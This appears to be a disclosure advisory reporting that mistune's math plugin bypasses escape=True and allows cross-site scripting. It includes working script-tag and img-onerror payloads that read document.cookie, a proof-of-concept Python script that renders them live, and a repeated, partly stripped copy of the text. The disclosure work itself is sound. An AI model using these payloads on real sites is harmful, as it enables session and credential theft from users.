Summary
The mistune math plugin renders inline math ($...$) and block math ($$...$$) by concatenating the raw user-supplied content directly into the HTML output without any HTML escaping. This occurs even when the parser is explicitly created with escape=True, which is supposed to guarantee that all user-controlled text is sanitised before reaching the DOM.
The result is a silent contract violation: a developer who enables escape=True reasonably expects complete XSS protection, but the math plugin operates as an independent render path that ignores the renderer's _escape flag entirely.
Details
File: src/mistune/plugins/math.py
def render_inline_math(renderer, text):
# `text` is raw user input — no escape() call anywhere
return r'<span class="math">\(' + text + r"\)</span>"
def render_block_math(renderer, text):
# same issue for block-level $$...$$
return '<div class="math">$$\n' + text + "\n$$</div>\n"Both functions take text directly from the parsed token and concatenate it into the output string. Neither function:
- calls
escape(text) from mistune.util
- checks
renderer._escape
- calls
safe_entity(text) or any other sanitisation helper
The escape=True flag only influences the main HTMLRenderer methods (paragraph, heading, codespan, etc.). Plugin render functions registered via md.renderer.register() receive the renderer instance but have no mechanism that enforces the escape contract - they must opt in manually, and math.py does not.
PoC
Step 1 — Establish the baseline (escape=True works for plain HTML)
The script creates a markdown parser with escape=True and the math plugin enabled, then feeds it a raw <script> tag that is not inside math delimiters:
md = create_markdown(escape=True, plugins=["math"])
bl_src = "<script>alert(document.cookie)</script>\n"
bl_out = str(md(bl_src))
Expected and actual output — the script tag is correctly escaped:
<p><script>alert(document.cookie)</script></p>
This confirms escape=True is working for the normal render path.
Step 2 — Craft the exploit payload
Wrap the identical <script> payload inside inline math delimiters $...$. The content is token-extracted as text and handed to render_inline_math():
ex_src = "$<script>alert(document.cookie)</script>$\n"
ex_out = str(md(ex_src))
Step 3 — Observe the bypass
Actual output — the script tag is emitted raw, unescaped:
<p><span class="math">\(<script>alert(document.cookie)</script>\)</span></p>
The <script> block is live inside the <span class="math"> wrapper. Any browser that renders this HTML will execute alert(document.cookie).
Step 4 — Block math variant ($$...$$)
The same bypass applies to block-level math. Payload:
$$
<img src=x onerror="alert(document.cookie)">
$$
Output:
<div class="math">$$
<img src=x onerror="alert(document.cookie)">
$$</div>
The onerror handler fires as soon as the browser tries to load the non-existent image x.
Script
A verification script was written to test this issue. It creates a HTML page showing the bypass rendering in the browser.
#!/usr/bin/env python3
"""H1: Math plugin bypasses escape=True — HTML inside $...$ passes through raw."""
import os, html as h
from mistune import create_markdown
md = create_markdown(escape=True, plugins=["math"])
# --- baseline ---
bl_file = "baseline_h1.md"
bl_src = "<script>alert(document.cookie)</script>\n"
with open(os.path.join(os.getcwd(), bl_file), "w") as f:
f.write(bl_src)
bl_out = str(md(bl_src))
print(f"[{bl_file}]\n{bl_src}")
print("[output — escape=True works normally here]")
print(bl_out)
# --- exploit ---
ex_file = "exploit_h1.md"
ex_src = "$<script>alert(document.cookie)</script>$\n"
with open(os.path.join(os.getcwd(), ex_file), "w") as f:
f.write(ex_src)
ex_out = str(md(ex_src))
print(f"[{ex_file}]\n{ex_src}")
print("[output — escape=True bypassed inside math delimiters]")
print(ex_out)
# --- HTML report ---
CSS = """
body{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}
h1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}
p.desc{color:#555;font-size:.9em;margin-top:6px}
.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;box-shadow:0 1px 4px rgba(0,0,0,.1)}
.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}
.baseline .case-header{background:#d1fae5;color:#065f46}
.exploit .case-header{background:#fee2e2;color:#7f1d1d}
.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}
.panel{padding:16px}
.panel+.panel{border-left:1px solid #eee}
.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}
pre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;font-size:.78em;white-space:pre-wrap;word-break:break-all}
.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}
.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;background:#fff;font-size:.9em}
"""
def case(kind, label, filename, src, out):
return f"""
<div class="case {kind}">
<div class="case-header">{'BASELINE' if kind=='baseline' else 'EXPLOIT'} — {h.escape(label)}</div>
<div class="panels">
<div class="panel">
<h3>Input — {h.escape(filename)}</h3>
<pre>{h.escape(src)}</pre>
</div>
<div class="panel">
<h3>Output — HTML source</h3>
<pre>{h.escape(out)}</pre>
<div class="rlabel">↓ rendered in browser</div>
<div class="rendered">{out}</div>
</div>
</div>
</div>"""
page = f"""<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8">
<title>H1 — Math XSS</title><style>{CSS}</style></head><body>
<h1>H1 — Math Plugin XSS (escape=True bypass)</h1>
<p class="desc">render_inline_math() in plugins/math.py concatenates user content without escape().
The escape=True renderer flag is completely ignored inside $...$ delimiters.</p>
{case("baseline", "Same HTML outside $...$ — escape=True works", bl_file, bl_src, bl_out)}
{case("exploit", "Same HTML inside $...$ — escape=True bypassed", ex_file, ex_src, ex_out)}
</body></html>"""
out_path = os.path.join(os.getcwd(), "report_h1.html")
with open(out_path, "w") as f:
f.write(page)
print(f"\n[report] {out_path}")Example usage:
Once the script is run, open report_h1.html in the browser and observe the behaviour.
Impact
| Dimension |
Assessment |
| Confidentiality |
Attacker can exfiltrate session cookies, auth tokens, and any data visible to the victim's browser session |
| Integrity |
Attacker can mutate page content, inject phishing forms, redirect the user, or perform authenticated actions |
| Availability |
Attacker can crash or freeze the page (denial-of-service to the user) |
Risk amplifier: This is a bypass of an explicit security control. Developers who have audited their application and confirmed escape=True is set believe they have XSS protection. This vulnerability silently invalidates that assumption for every math-enabled parser instance, making it likely to be missed in code reviews and security audits.
References
QiaoNPC Reporter
Across-Verticals-Malaysia Reporter
Summary
The mistune math plugin renders inline math (
$...$) and block math ($$...$$) by concatenating the raw user-supplied content directly into the HTML output without any HTML escaping. This occurs even when the parser is explicitly created withescape=True, which is supposed to guarantee that all user-controlled text is sanitised before reaching the DOM.The result is a silent contract violation: a developer who enables
escape=Truereasonably expects complete XSS protection, but the math plugin operates as an independent render path that ignores the renderer's_escapeflag entirely.Details
File:
src/mistune/plugins/math.pyBoth functions take
textdirectly from the parsed token and concatenate it into the output string. Neither function:escape(text)frommistune.utilrenderer._escapesafe_entity(text)or any other sanitisation helperThe
escape=Trueflag only influences the mainHTMLRenderermethods (paragraph,heading,codespan, etc.). Plugin render functions registered viamd.renderer.register()receive therendererinstance but have no mechanism that enforces the escape contract - they must opt in manually, andmath.pydoes not.PoC
Step 1 — Establish the baseline (escape=True works for plain HTML)
The script creates a markdown parser with
escape=Trueand the math plugin enabled, then feeds it a raw<script>tag that is not inside math delimiters:Expected and actual output — the script tag is correctly escaped:
This confirms
escape=Trueis working for the normal render path.Step 2 — Craft the exploit payload
Wrap the identical
<script>payload inside inline math delimiters$...$. The content is token-extracted astextand handed torender_inline_math():Step 3 — Observe the bypass
Actual output — the script tag is emitted raw, unescaped:
The
<script>block is live inside the<span class="math">wrapper. Any browser that renders this HTML will executealert(document.cookie).Step 4 — Block math variant (
$$...$$)The same bypass applies to block-level math. Payload:
Output:
The
onerrorhandler fires as soon as the browser tries to load the non-existent imagex.Script
A verification script was written to test this issue. It creates a HTML page showing the bypass rendering in the browser.
Example usage:
Once the script is run, open
report_h1.htmlin the browser and observe the behaviour.Impact
Risk amplifier: This is a bypass of an explicit security control. Developers who have audited their application and confirmed
escape=Trueis set believe they have XSS protection. This vulnerability silently invalidates that assumption for every math-enabled parser instance, making it likely to be missed in code reviews and security audits.References